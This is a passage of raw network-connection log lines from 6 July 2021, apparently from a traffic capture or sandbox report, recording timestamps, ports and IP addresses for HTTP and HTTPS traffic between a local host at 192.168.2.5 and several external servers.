Jul 6, 2021 14:30:31.202987909 CEST	443	49729	40.101.137.34	192.168.2.5
Jul 6, 2021 14:30:31.203001976 CEST	443	49729	40.101.137.34	192.168.2.5
Jul 6, 2021 14:30:31.203005075 CEST	443	49730	40.101.137.34	192.168.2.5
Jul 6, 2021 14:30:31.203310966 CEST	49729	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:30:31.204797983 CEST	49730	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:30:31.213650942 CEST	443	49729	40.101.137.34	192.168.2.5
Jul 6, 2021 14:30:31.215142012 CEST	443	49729	40.101.137.34	192.168.2.5
Jul 6, 2021 14:30:31.221165895 CEST	49729	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:30:31.221208096 CEST	49729	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:30:32.528601885 CEST	49725	80	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:32.528739929 CEST	49728	443	192.168.2.5	52.98.175.18
Jul 6, 2021 14:30:32.528790951 CEST	49729	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:30:32.528799057 CEST	49730	443	192.168.2.5	40.101.137.34
Jul 6, 2021 14:30:38.357218027 CEST	49731	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.357348919 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.391640902 CEST	49733	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.391952991 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.518222094 CEST	443	49732	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.518405914 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.518467903 CEST	443	49731	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.518728971 CEST	49731	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.523370981 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.523444891 CEST	49731	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.574034929 CEST	443	49734	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.574120998 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.574670076 CEST	443	49733	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.574790955 CEST	49733	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.578875065 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.578979015 CEST	49733	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.685353041 CEST	443	49732	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.685373068 CEST	443	49732	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.685398102 CEST	443	49732	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.685455084 CEST	443	49731	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.685519934 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.685570955 CEST	49731	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.685689926 CEST	443	49731	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.685705900 CEST	443	49731	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.685769081 CEST	49731	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.724673986 CEST	49731	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.724786997 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.749828100 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.762912035 CEST	443	49734	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.762959957 CEST	443	49734	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.763014078 CEST	443	49734	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.763044119 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.763106108 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.763611078 CEST	443	49733	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.763643980 CEST	443	49733	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.763699055 CEST	443	49733	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.763737917 CEST	49733	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.763777018 CEST	49733	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.793838978 CEST	49733	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.796914101 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.804195881 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.887289047 CEST	443	49732	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.887322903 CEST	443	49731	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.887439966 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.887613058 CEST	49731	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.913427114 CEST	443	49732	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:38.913552046 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.913696051 CEST	49732	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:38.980267048 CEST	443	49733	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.980618954 CEST	49733	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.982276917 CEST	443	49734	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.982528925 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.984673977 CEST	49735	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:38.985230923 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:38.989584923 CEST	443	49734	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:38.989716053 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:38.989794970 CEST	49734	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:39.032975912 CEST	443	49736	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.033235073 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.033330917 CEST	443	49735	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.033418894 CEST	49735	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.033950090 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.034531116 CEST	49735	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.060013056 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.060228109 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.073692083 CEST	443	49732	40.97.148.226	192.168.2.5
Jul 6, 2021 14:30:39.083581924 CEST	443	49736	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.083616018 CEST	443	49736	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.083638906 CEST	443	49736	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.083797932 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.087515116 CEST	443	49735	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.087544918 CEST	443	49735	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.087573051 CEST	443	49735	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.087574959 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.087665081 CEST	49735	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.087738991 CEST	49735	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.090709925 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.091268063 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.093143940 CEST	49735	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.106832981 CEST	443	49737	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.106880903 CEST	443	49738	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.106946945 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.106980085 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.107683897 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.108376026 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.139333010 CEST	443	49736	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.139364958 CEST	443	49736	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.139420986 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.142715931 CEST	443	49736	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.144922972 CEST	443	49735	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.144923925 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.144994020 CEST	49735	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.145399094 CEST	49736	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:39.154833078 CEST	443	49737	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.154942036 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.154961109 CEST	443	49737	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.154998064 CEST	443	49737	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.155013084 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.155025005 CEST	443	49738	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.155050993 CEST	443	49738	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.155066967 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.155075073 CEST	443	49738	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.155096054 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.155123949 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.157675028 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.164107084 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.165182114 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.165229082 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.171983957 CEST	443	49734	40.97.116.82	192.168.2.5
Jul 6, 2021 14:30:39.193032980 CEST	443	49736	40.101.136.2	192.168.2.5
Jul 6, 2021 14:30:39.210218906 CEST	443	49738	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.211195946 CEST	443	49737	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.211328030 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.211468935 CEST	443	49738	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.211575031 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.214782953 CEST	443	49738	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.214932919 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.215236902 CEST	49738	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:39.221734047 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.223412991 CEST	49740	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.263304949 CEST	443	49738	52.97.170.34	192.168.2.5
Jul 6, 2021 14:30:39.263331890 CEST	443	49739	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.263556004 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.263731956 CEST	443	49740	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.263818979 CEST	49740	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.264585018 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.265302896 CEST	49740	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.301069975 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.301212072 CEST	49742	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.305875063 CEST	443	49740	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.305916071 CEST	443	49740	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.305936098 CEST	443	49740	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.306107044 CEST	49740	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.306133986 CEST	49740	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.306216955 CEST	443	49739	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.306241989 CEST	443	49739	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.306261063 CEST	443	49739	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.306318045 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.306341887 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.315413952 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.315558910 CEST	49740	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.316682100 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.341288090 CEST	443	49741	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.341315985 CEST	443	49742	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.341434956 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.341480017 CEST	49742	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.342962980 CEST	49742	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.343034983 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.359316111 CEST	443	49740	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.359360933 CEST	443	49739	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.359484911 CEST	49740	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.359513998 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.383258104 CEST	443	49741	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.383295059 CEST	443	49741	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.383310080 CEST	443	49741	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.383506060 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.383533001 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.383614063 CEST	443	49742	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.383635044 CEST	443	49742	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.383651018 CEST	443	49742	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.383666992 CEST	443	49739	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.383681059 CEST	443	49739	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.383805990 CEST	49742	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.383857012 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.383867979 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.399641037 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.400233030 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.403378010 CEST	49742	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.440207005 CEST	443	49741	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.440246105 CEST	443	49741	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.440340042 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.444264889 CEST	443	49742	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.444690943 CEST	49742	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:39.473929882 CEST	443	49741	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.473958015 CEST	443	49741	52.98.152.178	192.168.2.5
Jul 6, 2021 14:30:39.474823952 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:40.714705944 CEST	49731	443	192.168.2.5	40.97.148.226
Jul 6, 2021 14:30:40.714862108 CEST	49735	443	192.168.2.5	40.101.136.2
Jul 6, 2021 14:30:40.714922905 CEST	49740	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:40.714952946 CEST	49739	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:40.742134094 CEST	49742	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:40.743293047 CEST	49737	443	192.168.2.5	52.97.170.34
Jul 6, 2021 14:30:40.743295908 CEST	49733	443	192.168.2.5	40.97.116.82
Jul 6, 2021 14:30:40.743307114 CEST	49741	443	192.168.2.5	52.98.152.178
Jul 6, 2021 14:30:54.113051891 CEST	49743	80	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.113183022 CEST	49744	80	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.156819105 CEST	80	49743	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.156841040 CEST	80	49744	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.157099009 CEST	49743	80	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.157774925 CEST	49744	80	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.287519932 CEST	49743	80	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.334064007 CEST	80	49743	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.334537983 CEST	80	49743	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.334552050 CEST	80	49743	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.334634066 CEST	49743	80	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.334830999 CEST	49743	80	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.348130941 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.379839897 CEST	80	49743	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.392971992 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.393166065 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.398861885 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.442673922 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.443696022 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.443716049 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.443732023 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.443808079 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.443833113 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.486243010 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.492594957 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.492858887 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.529829979 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.530471087 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.530498028 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.530551910 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.531434059 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.534802914 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.534831047 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.534857988 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.534900904 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.535648108 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.535667896 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.535723925 CEST	49745	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:30:54.575407982 CEST	443	49745	82.165.229.87	192.168.2.5
Jul 6, 2021 14:30:54.613001108 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.613260984 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.657246113 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.657346964 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.657450914 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.658118963 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.658126116 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.658694983 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.703782082 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.704119921 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.704411983 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.704435110 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.704452038 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.704514980 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.704571962 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.704982042 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.705008030 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.705024958 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.705200911 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.709079027 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.709472895 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.709794998 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.711110115 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.720293999 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.753340006 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.753434896 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.753873110 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.754029036 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.754048109 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.754061937 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.754103899 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.754182100 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.754931927 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.755177021 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.755990028 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.756011963 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.756103039 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.757744074 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.764482975 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.764509916 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.764584064 CEST	49747	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776252985 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776290894 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776304007 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776321888 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776340961 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776356936 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776385069 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776387930 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776405096 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776422977 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776423931 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776443005 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776447058 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776460886 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776469946 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776478052 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776494980 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776505947 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776513100 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776542902 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776565075 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776648045 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776665926 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776683092 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776695967 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.776716948 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.776745081 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:54.799067974 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:54.801775932 CEST	443	49747	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:55.035865068 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.036207914 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.060606956 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:55.102988958 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.103096008 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.104028940 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.104882956 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:55.106236935 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.106365919 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.107249022 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.108860970 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:55.108890057 CEST	443	49746	82.165.229.59	192.168.2.5
Jul 6, 2021 14:30:55.108988047 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:55.109010935 CEST	49746	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:30:55.172461987 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.179095984 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.193051100 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.193085909 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.193104029 CEST	443	49756	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.193145990 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.193186998 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.205568075 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.205595016 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.205611944 CEST	443	49755	142.250.180.206	192.168.2.5
Jul 6, 2021 14:30:55.205720901 CEST	49755	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.207144976 CEST	49756	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:30:55.225779057 CEST	49756	443	192.168.2.5	142.250.180.206
